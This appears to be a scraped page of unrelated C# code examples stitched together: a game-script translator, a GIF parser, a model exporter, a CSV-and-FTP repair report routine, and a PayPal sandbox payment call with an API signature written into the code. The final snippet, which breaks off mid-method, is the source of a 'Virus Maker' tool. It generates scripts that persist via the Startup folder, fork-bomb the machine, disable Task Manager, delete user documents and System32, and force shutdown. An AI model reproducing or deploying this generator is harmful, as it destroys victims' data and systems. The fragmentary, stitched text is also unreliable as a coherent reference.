                if (Abort)
                {
                    break;
                }

                var globalContext = (CSTranslationContext)translator.Context;

                var compiledSG   = new Dictionary <GameGlobalResource, CSTranslationContext>();
                var objs         = Content.Content.Get().WorldObjects.Entries.Where(x => User || (x.Value.Source != GameObjectSource.User)).ToList();
                var fileComplete = new HashSet <string>();
                var objPct       = 0;
                foreach (var obj in objs)
                {
                    var r = obj.Value;
                    if (!fileComplete.Contains(r.FileName))
                    {
                        Invoke(new Action(() => {
                            AOTProgress.Value = 10 + (objPct * 90) / objs.Count;
                        }));
                        fileComplete.Add(r.FileName);
                        var objRes = r.Get();

                        CSTranslationContext sg = null;
                        if (objRes.Resource.SemiGlobal != null)
                        {
                            if (!compiledSG.TryGetValue(objRes.Resource.SemiGlobal, out sg))
                            {
                                //compile semiglobals
                                translator = new CSTranslator();
                                var sgIff = objRes.Resource.SemiGlobal.MainIff;
                                translator.Context.ObjectRes     = objRes.Resource; //pass this in as occasionally *local* tuning constants are used in *semiglobal* functions.
                                translator.Context.GlobalRes     = globalRes;
                                translator.Context.SemiGlobalRes = objRes.Resource.SemiGlobal;
                                translator.Context.GlobalContext = globalContext;
                                Invoke(new Action(() => {
                                    AOTStatus.Text = $"Translating Semi-Global {sgIff.Filename}";
                                }));
                                var semiglobalText = translator.TranslateIff(sgIff);
                                using (var file = System.IO.File.Open(Path.Combine(DestPath, translator.Context.Filename + ".cs"), System.IO.FileMode.Create))
                                {
                                    using (var writer = new System.IO.StreamWriter(file))
                                    {
                                        writer.Write(semiglobalText);
                                    }
                                }
                                sg = (CSTranslationContext)translator.Context;
                                compiledSG[objRes.Resource.SemiGlobal] = sg;
                            }
                        }

                        translator = new CSTranslator();
                        var objIff = objRes.Resource.MainIff;
                        translator.Context.GlobalRes         = globalRes;
                        translator.Context.SemiGlobalRes     = objRes.Resource.SemiGlobal;
                        translator.Context.ObjectRes         = objRes.Resource;
                        translator.Context.GlobalContext     = globalContext;
                        translator.Context.SemiGlobalContext = sg;
                        Invoke(new Action(() => {
                            AOTStatus.Text = $"Translating {objIff.Filename}";
                        }));
                        var objText = translator.TranslateIff(objIff);
                        using (var file = System.IO.File.Open(Path.Combine(DestPath, translator.Context.Filename + ".cs"), System.IO.FileMode.Create))
                        {
                            using (var writer = new System.IO.StreamWriter(file))
                            {
                                writer.Write(objText);
                            }
                        }
                    }
                    objPct++;
                }

                if (!Abort)
                {
                    Invoke(new Action(() => {
                        AOTStatus.Text    = $"Completed! {objs.Count} objects converted.";
                        AOTProgress.Value = 100;
                    }));
                }
            }
            if (Abort)
            {
                Invoke(new Action(() => {
                    AOTStatus.Text = "Aborted.";
                }));
            }

            Invoke(new Action(() => {
                AOTToggle.Text    = "Begin";
                AOTToggle.Enabled = true;
            }));
            Abort            = false;
            ConversionThread = null;
        }
Exemple #55
0
        /// <summary>
        /// Méthode qui effectue une transaction avec Paypal
        /// </summary>
        /// <param name="qui">Notes spéciales</param>
        /// <param name="ccNumber">Numéro de carte de crédit</param>
        /// <param name="ccType">Type de CC</param>
        /// <param name="expireDate">Date d'expiration</param>
        /// <param name="cvvNum">Numéro de sécurité</param>
        /// <param name="amount">Montant</param>
        /// <param name="firstName">Premier nom</param>
        /// <param name="lastName">Nom de famille</param>
        /// <param name="street">adresse</param>
        /// <param name="city">ville</param>
        /// <param name="state">province/état</param>
        /// <param name="zip">Code postal</param>
        /// <returns>Résultat de l'opération dans un String</returns>
        public static String doTransaction(string qui, string ccNumber, string ccType, string expireDate, string cvvNum, string amount, string firstName, string lastName, string street, string city, string state, string zip)
        {
            String retour = "";

            //API INFORMATIONS (3)
            // https://www.sandbox.paypal.com/signin/
            // REGARDER payment received
            // PARLER DE IPN

            String strUsername  = "******";                      // nom du compte marchand dans le sandbox, payment pro activé
            String strPassword  = "******";                                               // password du ccompte marchand
            String strSignature = "AC9Q08PxViawtHP02THEb8XxIkxkA4xEwrqh4Z1Or4uoBpmX9BLd7IhR"; // clé d'authentification compte marchand

            string strCredentials      = "CUSTOM=" + qui + "&USER="******"&PWD=" + strPassword + "&SIGNATURE=" + strSignature;
            string strNVPSandboxServer = "https://api-3t.sandbox.paypal.com/nvp";
            string strAPIVersion       = "2.3";


            dynamic strNVP = strCredentials + "&METHOD=DoDirectPayment" + "&CREDITCARDTYPE=" + ccType + "&ACCT=" + ccNumber + "&EXPDATE=" + expireDate + "&CVV2=" + cvvNum + "&AMT=" + amount + "&CURRENCYCODE=CAD" + "&FIRSTNAME=" + firstName + "&LASTNAME=" + lastName + "&STREET=" + street + "&CITY=" + city + "&STATE=" + state + "&ZIP=" + zip + "&COUNTRYCODE=CA" + "&PAYMENTACTION=Sale" + "&VERSION=" + strAPIVersion;

            try
            {
                //Cree la requête
                System.Net.HttpWebRequest wrWebRequest = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(strNVPSandboxServer);
                wrWebRequest.Method = "POST";
                System.IO.StreamWriter requestWriter = new System.IO.StreamWriter(wrWebRequest.GetRequestStream());
                requestWriter.Write(strNVP);
                requestWriter.Close();
                //Obtient la réponse
                System.Net.HttpWebResponse hwrWebResponse = (System.Net.HttpWebResponse)wrWebRequest.GetResponse();
                dynamic responseReader = new System.IO.StreamReader(wrWebRequest.GetResponse().GetResponseStream());
                // Lit la réponse
                string dataReturned = responseReader.ReadToEnd();
                responseReader.Close();
                string    result        = HttpUtility.UrlDecode(dataReturned);
                string[]  arrResult     = result.Split('&');
                Hashtable htResponse    = new Hashtable();
                string[]  arrayReturned = null;
                foreach (string item in arrResult)
                {
                    arrayReturned = item.Split('=');
                    htResponse.Add(arrayReturned[0], arrayReturned[1]);
                }

                string strAck = htResponse["ACK"].ToString();
                //AFFICHE LA RÉPONSE

                if (strAck == "Success" || strAck == "SuccessWithWarning")
                {
                    string strAmt           = htResponse["AMT"].ToString();
                    string strCcy           = htResponse["CURRENCYCODE"].ToString();
                    string strTransactionID = htResponse["TRANSACTIONID"].ToString();
                    foreach (DictionaryEntry i in htResponse)
                    {
                        retour += i.Key + ": " + i.Value + "<br />";
                    }
                    //on retourne le message de confirmation
                    retour = "true";
                    //retour = "Merci pour votre commande de : $" + strAmt + " " + strCcy + ", celle-ci a bien été traitée.";
                }
                else
                {
                    //Dim strErr As String = "Error: " & htResponse("L_LONGMESSAGE0").ToString()
                    //Dim strErrcode As String = "Error code: " & htResponse("L_ERRORCODE0").ToString()

                    //Response.Write(strErr & "&lt;br /&gt;" & strErrcode)</span>
                    foreach (DictionaryEntry i in htResponse)
                    {
                        retour += i.Key + ": " + i.Value + "<br />";
                    }

                    //retourne les éléments des erreurs importantes
                    retour = "Error: " + htResponse["L_LONGMESSAGE0"].ToString() + "<br/>" + "Error code: " + htResponse["L_ERRORCODE0"].ToString();
                }
            }
            catch (Exception ex)
            {
                retour = ex.ToString();
            }
            return(retour);
        }
Exemple #56
0
        private void createcsvandftp()
        {
            //string sql = "select distinct a.skuno as Skuno,lik.codename as CodeName,"
            // + "ltrim(rtrim(m.sysserialno)) as Sysserailno,m.createdate as Createdate,x.lasteditby as TestBy,failureeventpoint as Eventpoint,"
            // + "isnull(b.failcode,'') as FailSymptom,"
            // + "isnull(e.cisco_code,'') as Rootcause,Errcode.codedesc1 as FailureCode,"
            // + "isnull(f.defectcodename,'') as Actioncode,"
            // + "isnull(c.process,'') Process,"
            // + "isnull(repairlink.cserialno,'') Cserialno,"
            // + "isnull(c.location,'') Location,m.Repairby,m.lasteditby,m.lasteditdt as Repairdate,"
            // + "isnull(c.componentcode,'') as Componentcode,"
            // + "isnull(c.vendorcode,'') Vendorcode,"
            // + "isnull(c.datacode,'') as Datacode,"
            // + "isnull(c.lotcode,'') as Lotcode,"
            // + "isnull(c.solution,'') as Solution,"
            // + "isnull(c.description,'') as Description,"
            // + "isnull(c.partdes,'') as Partdes,  m.workorderno AS Workorderno "
            // + "from sfcrepairmain m(nolock) "
            // + "left join mfautotestrecordset x(nolock) on m.sysserialno=x.sysserialno "
            // + "and (m.createdate=dateadd(hour,15,x.testdate) or m.createdate=dateadd(hour,16,x.testdate)) "
            // + "left join mfworkorder a(nolock) on m.workorderno=a.workorderno "
            // + "left join (select sysserialno,createdate,max(failcode) as failcode,max(faillocation) as faillocation "
            // + "from sfcrepairfailcode(nolock) group by sysserialno,createdate) b on m.sysserialno=b.sysserialno and m.createdate=b.createdate "
            // + "left join sfcrepairaction c(nolock) on m.sysserialno=c.sysserialno and m.createdate=c.createdate "
            // + "left join sfcfailurecodeinfo e(nolock) on c.rootcause=e.codename "
            // + "left join rc_defectcode f(nolock) on c.actioncode=f.defectcategory "
            // + "left join mfsysevent g(nolock) on m.sysserialno=g.sysserialno "
            // + "left join sfcrepairpcbalink repairlink(nolock) on c.sysserialno=repairlink.sysserialno "
            // + "and c.createdate=repairlink.createdate and c.location=repairlink.location "
            // + "left join (select distinct codename,codedesc1 from sfcfailurecodeinfo(nolock)) errcode on c.rootcause=errcode.codename "
            // + "left join sfccodelike lik(nolock) on a.skuno=lik.skuno  where lik.skuno in "
            // + "(select CONTROLVALUE from sfccontrol where controlname='N9500SKUNO') "
            // + "and g.productionline in('DA2S1A','DA2S2A') and M.failureeventpoint NOT IN('XRAY')";
            string sql = "EXEC saverepairdata_sp";

            ConnectionDB();
            AddMessage("connect to database");
            DataTable DT   = SFCCONN.DoSelectSQL(sql);
            string    time = (DateTime.Now.ToString("s").Replace("T", "_")).Replace(":", "");

            for (int i = 0; i < DT.Rows.Count; i++)
            {
                try
                {
                    string             filename = "REPAIR_" + DT.Rows[i]["Sysserailno"].ToString() + "_" + time + ".csv";
                    System.IO.FileInfo fi       = new System.IO.FileInfo(Application.StartupPath + "\\" + strFiles + "\\" + filename);
                    if (!fi.Directory.Exists)
                    {
                        fi.Directory.Create();
                    }

                    System.IO.FileStream fs = new System.IO.FileStream(Application.StartupPath + "\\" + strFiles + "\\" + filename, System.IO.FileMode.Create,
                                                                       System.IO.FileAccess.Write);
                    System.IO.StreamWriter writer = new System.IO.StreamWriter(fs, System.Text.Encoding.UTF8);
                    writer.WriteLine("Skuno,CodeName,Sysserailno,TestBy,Eventpoint,FailSymptom,Rootcause,FailureCode,Actioncode,Process,Cserialno,Location,Repairby,lasteditby,Repairdate,Componentcode,Vendorcode,Datacode,Lotcode,Solution,Description,Partdes,Workorderno");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Skuno"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["CodeName"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Sysserailno"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["TestBy"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Eventpoint"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["FailSymptom"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Rootcause"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["FailureCode"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Actioncode"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Process"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Cserialno"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Location"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Repairby"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["lasteditby"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Repairdate"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Componentcode"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Vendorcode"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Datacode"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Lotcode"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Solution"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Description"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Partdes"].ToString()) + ",");
                    writer.Write(CSVStringConvert(DT.Rows[i]["Workorderno"].ToString()));
                    writer.WriteLine();
                    writer.Close();
                    AddMessage(DT.Rows[i]["Sysserailno"].ToString() + " " + DT.Rows[i]["Skuno"].ToString());
                    AddMessage("create " + filename + "  success");
                    FtpUpDown ftpUp = new FtpUpDown();
                    ftpUp.FTPUpDown(strUrl, strFtpUser, strFtpPassword);
                    ftpUp.Upload(Application.StartupPath + "\\" + strFiles + "\\" + filename);
                    AddMessage("upload ftp " + filename + "  success");
                    File.Delete(Application.StartupPath + "\\" + strFiles + "\\" + filename);
                    AddMessage("delete " + filename + "  success");
                }
                catch (Exception e)
                {
                    AddMessage(e.Message);
                    continue;
                }
            }
        }
Exemple #57
0
    private void byteArrayTextConversion(byte[] byteArrayIn)
    {
        System.IO.StreamWriter file  = new System.IO.StreamWriter("C:\\Users\\Flannel\\Desktop\\ImageBytes.txt");   //general byte array in
        System.IO.StreamWriter file2 = new System.IO.StreamWriter("C:\\Users\\Flannel\\Desktop\\ImageBytes2.txt");

        //this is the hexidecimal file
        string hex = ByteArrayToString(byteArrayIn);

        file.Write(hex);
        file.Close();

        //this is the one that we as humans can read
        string hex2 = ByteArrayToStringReadable(byteArrayIn);

        file2.Write(hex2);
        file2.Close();

        int myframeCount = GifHelper.findFrameCount(hex);

        //here we are splitting up the file for our own purposes into each associated block
        Header.Set(hex.Substring(0, Header.bits));
        curGifByteIndex += Header.bits / 2;
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));

        LogicalScreenDescriptor.Set(hex.Substring(Header.bits, LogicalScreenDescriptor.bits));
        curGifByteIndex += LogicalScreenDescriptor.bits / 2;

        LogicalScreenDescriptor.DebugLog();
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));

        GlobalColorTable.Set(hex.Substring(curGifByteIndex * 2, LogicalScreenDescriptor.GlobalColorTableSize * 2));
        curGifByteIndex += LogicalScreenDescriptor.GlobalColorTableSize;

        GlobalColorTable.DebugLog();
        Debug.LogWarning("GLOBAL COLOR TABLE LENGTH: " + LogicalScreenDescriptor.GlobalColorTableSize);
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));

        GraphicsControlExtension.Set(hex.Substring(curGifByteIndex * 2, GraphicsControlExtension.bits));
        curGifByteIndex += GraphicsControlExtension.bits / 2;

        GraphicsControlExtension.DebugLog();
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));

        ApplicationExtensionBlock.Set(hex.Substring(curGifByteIndex * 2, ApplicationExtensionBlock.bits));
        curGifByteIndex += ApplicationExtensionBlock.bits / 2;

        ApplicationExtensionBlock.DebugLog();
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));

        ImageDescriptor.Set(hex.Substring(curGifByteIndex * 2, ImageDescriptor.bits));
        curGifByteIndex += ImageDescriptor.bits / 2;

        ImageDescriptor.DebugLog();
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));


        //Now that we have everything setup we are on to the drawing data
        int ImageDataLength = findLengthOfImageData(hex.Substring(curGifByteIndex * 2));

        ImageData.Set(hex.Substring(curGifByteIndex * 2, ImageDataLength));
        ImageData.bits   = ImageDataLength;
        curGifByteIndex += ImageData.bits / 2;
        Debug.LogWarning("CUR INDEX: " + curGifByteIndex + "/" + (hex.Length / 2));
    }
Exemple #58
0
        public void ExportAssImp(string fileName, string modelType, ExportSettings settings, Arguments cmdargs)
        {
            fileName = Path.GetFullPath(fileName); // Get absolute path instead of relative
            string outDir        = Path.GetDirectoryName(fileName);
            string fileNameNoExt = Path.GetFileNameWithoutExtension(fileName);

            if (modelType == "obj")
            {
                fileName = Path.Combine(outDir, fileNameNoExt + ".obj");
            }
            else
            {
                fileName = Path.Combine(outDir, fileNameNoExt + ".dae");
            }
            Scene outScene = new Scene {
                RootNode = new Node("RootNode")
            };

            Console.WriteLine();
            Console.WriteLine("Processing Materials ->");
            Materials.FillScene(outScene, Textures, outDir);
            Console.WriteLine();
            Console.WriteLine("Processing Meshes ->");
            Shapes.FillScene(outScene, VertexData.Attributes, Joints.FlatSkeleton, SkinningEnvelopes.InverseBindMatrices);
            Console.WriteLine();
            Console.Write("Processing Skeleton");
            Scenegraph.FillScene(outScene, Joints.FlatSkeleton, settings.UseSkeletonRoot);
            Scenegraph.CorrectMaterialIndices(outScene, Materials);
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine("Processing Textures ->");
            Textures.DumpTextures(outDir, fileNameNoExt + "_tex_headers.json", true, cmdargs.readMipmaps);

            string infPath = Path.Combine(outDir, fileNameNoExt + "_hierarchy.json");

            this.Scenegraph.DumpJson(infPath);

            Console.WriteLine();
            Console.WriteLine("Removing Duplicate Verticies ->");
            foreach (Mesh mesh in outScene.Meshes)
            {
                Console.Write(mesh.Name.Replace('_', ' ') + ": ");
                // Assimp has a JoinIdenticalVertices post process step, but we can't use that or the skinning info we manually add won't take it into account.
                RemoveDuplicateVertices(mesh);
                Console.Write("✓");
                Console.WriteLine();
            }


            AssimpContext cont = new AssimpContext();

            if (modelType == "obj")
            {
                Console.WriteLine("Writing the OBJ file...");
                cont.ExportFile(outScene, fileName, "obj");//, PostProcessSteps.ValidateDataStructure);
                using (System.IO.StreamWriter file = new System.IO.StreamWriter(fileName)) {
                    string mtllibname = fileName.Split(new char[] { '\\', '/' }, StringSplitOptions.RemoveEmptyEntries).Last() + ".mtl";
                    file.WriteLine(String.Format("mtllib {0}", mtllibname));
                    foreach (Assimp.Mesh mesh in outScene.Meshes)
                    {
                        foreach (Assimp.Vector3D vertex in mesh.Vertices)
                        {
                            file.WriteLine(String.Format("v {0} {1} {2}", vertex.X, vertex.Y, vertex.Z));
                        }
                    }

                    foreach (Assimp.Mesh mesh in outScene.Meshes)
                    {
                        foreach (Assimp.Vector3D normal in mesh.Normals)
                        {
                            file.WriteLine(String.Format("vn {0} {1} {2}", normal.X, normal.Y, normal.Z));
                        }
                    }

                    foreach (Assimp.Mesh mesh in outScene.Meshes)
                    {
                        if (mesh.HasTextureCoords(0))
                        {
                            foreach (Assimp.Vector3D uv in mesh.TextureCoordinateChannels[0])
                            {
                                file.WriteLine(String.Format("vt {0} {1}", uv.X, uv.Y));
                            }
                        }
                    }

                    int vertex_offset = 1;

                    foreach (Assimp.Mesh mesh in outScene.Meshes)
                    {
                        string material_name = outScene.Materials[mesh.MaterialIndex].Name;
                        file.WriteLine(String.Format("usemtl {0}", material_name));



                        foreach (Assimp.Face face in mesh.Faces)
                        {
                            file.Write("f ");
                            foreach (int index in face.Indices)
                            {
                                file.Write(index + vertex_offset);
                                if (mesh.HasTextureCoords(0))
                                {
                                    file.Write("/");
                                    file.Write(index + vertex_offset);
                                }
                                if (!mesh.HasTextureCoords(0) && mesh.HasNormals)
                                {
                                    file.Write("//");
                                    file.Write(index + vertex_offset);
                                }
                                else if (mesh.HasNormals)
                                {
                                    file.Write("/");
                                    file.Write(index + vertex_offset);
                                }
                                file.Write(" ");
                            }
                            file.Write("\n");
                        }

                        vertex_offset += mesh.VertexCount;
                    }
                }
                return;
            }
            else
            {
                cont.ExportFile(outScene, fileName, "collada", PostProcessSteps.ValidateDataStructure);
            }

            //if (SkinningEnvelopes.Weights.Count == 0)
            //    return; // There's no skinning information, so we can stop here

            // Now we need to add some skinning info, since AssImp doesn't do it for some bizarre reason

            StreamWriter test = new StreamWriter(fileName + ".tmp");
            StreamReader dae  = File.OpenText(fileName);

            Console.WriteLine();
            Console.Write("Finalizing the Mesh");
            while (!dae.EndOfStream)
            {
                string line = dae.ReadLine();

                if (line == "  <library_visual_scenes>")
                {
                    AddControllerLibrary(outScene, test);
                    test.WriteLine(line);
                    test.Flush();
                }
                else if (line.Contains("<node"))
                {
                    string[] testLn = line.Split('\"');
                    string   name   = testLn[3];

                    if (Joints.FlatSkeleton.Exists(x => x.Name == name))
                    {
                        string jointLine = line.Replace(">", $" sid=\"{ name }\" type=\"JOINT\">");
                        test.WriteLine(jointLine);
                        test.Flush();
                    }
                    else
                    {
                        test.WriteLine(line);
                        test.Flush();
                    }
                }
                else if (line.Contains("</visual_scene>"))
                {
                    foreach (Mesh mesh in outScene.Meshes)
                    {
                        string matname      = "mat";
                        bool   keepmatnames = false;
                        if (keepmatnames == true)
                        {
                            matname = AssimpMatnameSanitize(mesh.MaterialIndex, outScene.Materials[mesh.MaterialIndex].Name);
                        }
                        else
                        {
                            matname = AssimpMatnameSanitize(mesh.MaterialIndex, Materials.m_Materials[mesh.MaterialIndex].Name);
                        }

                        test.WriteLine($"      <node id=\"{ mesh.Name }\" name=\"{ mesh.Name }\" type=\"NODE\">");

                        test.WriteLine($"       <instance_controller url=\"#{ mesh.Name }-skin\">");
                        test.WriteLine("        <skeleton>#skeleton_root</skeleton>");
                        test.WriteLine("        <bind_material>");
                        test.WriteLine("         <technique_common>");
                        test.WriteLine($"          <instance_material symbol=\"m{matname}\" target=\"#{matname}\" />");
                        test.WriteLine("         </technique_common>");
                        test.WriteLine("        </bind_material>");
                        test.WriteLine("       </instance_controller>");

                        test.WriteLine("      </node>");
                        test.Flush();
                    }

                    test.WriteLine(line);
                    test.Flush();
                }
                else if (line.Contains("<matrix"))
                {
                    string matLine = line.Replace("<matrix>", "<matrix sid=\"matrix\">");
                    test.WriteLine(matLine);
                    test.Flush();
                }
                else
                {
                    test.WriteLine(line);
                    test.Flush();
                }
                Console.Write(".");
            }

            Console.Write("✓");
            Console.WriteLine();

            test.Close();
            dae.Close();

            File.Copy(fileName + ".tmp", fileName, true);
            File.Delete(fileName + ".tmp");
        }
Exemple #59
0
        // CREATE VIRUS BUTTON
        private void createVirusBtn_Click(object sender, EventArgs e)
        {
            // Check whether custom code box meets parameters
            bool customCodeCheck = false;

            if (customCodeLang.Text.ToUpper() == "VBSCRIPT" || customCodeLang.Text.ToUpper() == "BATCH")
            {
                customCodeCheck = true;
            }
            if (customCode.Text.Trim().Length > 0 && customCodeCheck == false)
            {
                MessageBox.Show("Please make sure that you have selected either 'VBScript' or 'Batch' in the custom code section.", "Invalid Custom Code", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else // Main code
            {
                try
                {
                    string batchContentsMain = "REM Made with Virus Maker (Pre-Release v0.7)" + newLine + newLine + "@echo off" + newLine;
                    string batchContentsLoop = ":start" + newLine;

                    string vbsContentsMain = "'Made with Virus Maker (Pre-Release v0.7)" + newLine + newLine;

                    // Startup setup
                    if (copyToStartup_CB.Checked)
                    {
                        batchContentsMain += "REM Copy to startup" + newLine
                                             + "copy \"" + virusName.Text + "_extra.bat\" \"%APPDATA%\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\\"" + newLine
                                             + "copy \"" + virusName.Text + ".vbs\" \"%APPDATA%\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"" + newLine + newLine;
                        MessageBox.Show(batchContentsMain);
                    }

                    //  Just for fun group
                    if (swapMouseBtn_CB.Checked)
                    {
                        batchContentsMain += "REM Swap mouse buttons" + newLine
                                             + "Rundll32 user32,SwapMouseButton";
                    }
                    if (openCloseCD_CB.Checked)
                    {
                        vbsContentsMain += "'-- Open/Close CD Drive --" + newLine
                                           + "Set oWMP = CreateObject(\"WMPlayer.OCX.7\")" + newLine
                                           + "Set colCDROMs = oWMP.cdromCollection" + newLine
                                           + "if colCDROMs.Count >= 1 then" + newLine
                                           + "do" + newLine
                                           + "For i = 0 to colCDROMs.Count - 1" + newLine
                                           + "colCDROMs.Item(i).Eject" + newLine
                                           + "Next ' cdrom" + newLine
                                           + "For i = 0 to colCDROMs.Count - 1" + newLine
                                           + "colCDROMs.Item(i).Eject" + newLine
                                           + "Next ' cdrom" + newLine
                                           + "Loop" + newLine
                                           + "End If" + newLine + newLine;
                    }
                    if (minimiseWindows_CB.Checked)
                    {
                        vbsContentsMain += "'-- Minimize all windows --" + newLine;
                        vbsContentsMain += "Do While true" + newLine
                                           + "set objShell = CreateObject(\"shell.application\")" + newLine
                                           + "objShell.ToggleDesktop" + newLine
                                           + "Loop" + newLine + newLine;
                    }
                    if (bombDesktop_CB.Checked)
                    {
                        batchContentsLoop += "REM Fork bomb"
                                             + "REM Fork bomb" + newLine
                                             + "start %0" + newLine
                                             + "%0|%0" + newLine;
                    }
                    if (spamErrorTitle_Input.Text.Trim().Length > 0 || spamErrorMsg_Input.Text.Trim().Length > 0)
                    {
                        if (spamErrorTitle_Input.Text.Trim().Length > 0 && spamErrorMsg_Input.Text.Trim().Length > 0)
                        {
                            string spamErrorTitle = spamErrorTitle_Input.Text;
                            string spamErrorMsg   = spamErrorMsg_Input.Text;

                            vbsContentsMain += "'--Spam with error message--" + newLine
                                               + "do" + newLine
                                               + "x=msgbox(\"" + spamErrorMsg + "\" ,16, \"" + spamErrorTitle + "\")" + newLine
                                               + "msgCount += 1" + newLine
                                               + "loop until msgCount = 20" + newLine + newLine; // set limit of message boxes to 20
                        }
                        else if (spamErrorTitle_Input.Text.Trim().Length == 0)
                        {
                            MessageBox.Show("You are missing a title for the fake error messages.");
                            spamErrorTitle_Input.Select();
                            return; // breaks event if title missing
                        }
                        else if (spamErrorMsg_Input.Text.Trim().Length == 0)
                        {
                            MessageBox.Show("You are missing a message for the fake error messages.");
                            spamErrorMsg_Input.Select();
                            return;
                        }
                    }

                    // Harmful group
                    if (disableTaskMng_CB.Checked)
                    {
                        vbsContentsMain += "-- Disable Task Manager --"
                                           + "Shell.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr\", 1, \"REG_DWORD\""
                                           + newLine + newLine;
                    }
                    if (dltMyDocuments_CB.Checked)
                    {
                        vbsContentsMain += "'-- Delete my documents --"
                                           + "GET-CHILDITEM \"$HOME\\My Documents\" -recurse | Remove-ITEM" + newLine + newLine;
                    }
                    if (dltSystem32_CB.Checked)
                    {
                        vbsContentsMain += "'-- Delete System32 --"
                                           + "Dim FSO, folder" + newLine
                                           + "set shell = WScript.CreateObject(\"WScript.Shell\")" + newLine
                                           + "folder = shell.ExpandEnvironmentStrings(\"%systemdir%\")" + newLine
                                           + "set FSO = CreateObject(\"Scripting.FileSystemObject\")" + newLine
                                           + "FSO.DeleteFolder(folder)" + newLine + newLine;
                    }

                    // Other options
                    if (shutdownComp_CB.Checked)
                    {
                        string shutdownWait = Convert.ToString(timeToWait_Value.Value);

                        vbsContentsMain += "'-- Shutdown computer --" + newLine
                                           + "set objShell = CreateObject(\"WScript.Shell\")" + newLine
                                           + "strShutdown = \"shutdown -s -t " + shutdownWait + " -f -m \"" + newLine
                                           + "objShell.Run strShutdown" + newLine + newLine;
                        MessageBox.Show(vbsContentsMain);
                    }
                    if (customCode.Text.Trim().Length > 0 && customCodeLang.Text.ToUpper() == "VBSCRIPT")
                    {
                        vbsContentsMain += "'-- Custom code --" + newLine
                                           + customCode.Text + newLine;
                    }
                    else if (customCode.Text.Trim().Length > 0 && customCodeLang.Text.ToUpper() == "BATCH")
                    {
                        batchContentsMain += "REM Custom code" + newLine
                                             + customCode.Text + newLine;
                    }

                    batchContentsLoop += "goto start" + newLine;

                    // File creation
                    string finalBatchContents = batchContentsMain + batchContentsLoop; // merger of batch content

                    string vbsSavePath   = saveLocation_Display.Text + "\\Virus Maker Output\\";
                    string batchSavePath = saveLocation_Display.Text + "\\Virus Maker Output\\";

                    if (virusName.Text.Trim().Length == 0)
                    {
                        DialogResult result = MessageBox.Show("The virus name field is blank, do you want the default name to be used?",
                                                              "Virus Name Invalid", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                        if (result == DialogResult.Yes)
                        {
                            vbsSavePath    += "myVirus.vbs";
                            batchSavePath  += "myVirus_extra.bat";
                            defaultNameUsed = true;
                        }
                        else if (result == DialogResult.No)
                        {
                            virusName.Select();
                            return;
                        }
                    }
                    else if (virusName.Text.Trim().Length > 0)
                    {
                        vbsSavePath   += virusName.Text + ".vbs";
                        batchSavePath += virusName.Text + "_extra.bat";
                    }

                    // Folder exists check
                    string virusMakerFolder = saveLocation_Display.Text + "\\Virus Maker Output";
                    if (File.Exists(virusMakerFolder) == false)
                    {
                        System.IO.Directory.CreateDirectory(virusMakerFolder);
                    }

                    // Stream writer
                    try
                    {
                        System.IO.StreamWriter vbsWriter;
                        vbsWriter = new System.IO.StreamWriter(vbsSavePath);
                        vbsWriter.Write(vbsContentsMain);
                        vbsWriter.Close();
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        msgLog.Text += "Could not write VBScript file." + newLine;
                    }

                    try
                    {
                        System.IO.StreamWriter batchWriter;
                        batchWriter = new System.IO.StreamWriter(batchSavePath);
                        batchWriter.Write(finalBatchContents);
                        batchWriter.Close();
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        msgLog.Text += "Could not write Batch file." + newLine;
                    }

                    // File attribute settings
                    if (readOnly_CB.Checked)
                    {
                        File.SetAttributes(vbsSavePath, File.GetAttributes(vbsSavePath) | FileAttributes.ReadOnly);
                        File.SetAttributes(batchSavePath, File.GetAttributes(batchSavePath) | FileAttributes.ReadOnly);
                    }
                    if (fileVisibility.Text.ToUpper() != "VISIBLE")
                    {
                        if (fileVisibility.Text.ToUpper() == "HIDDEN")
                        {
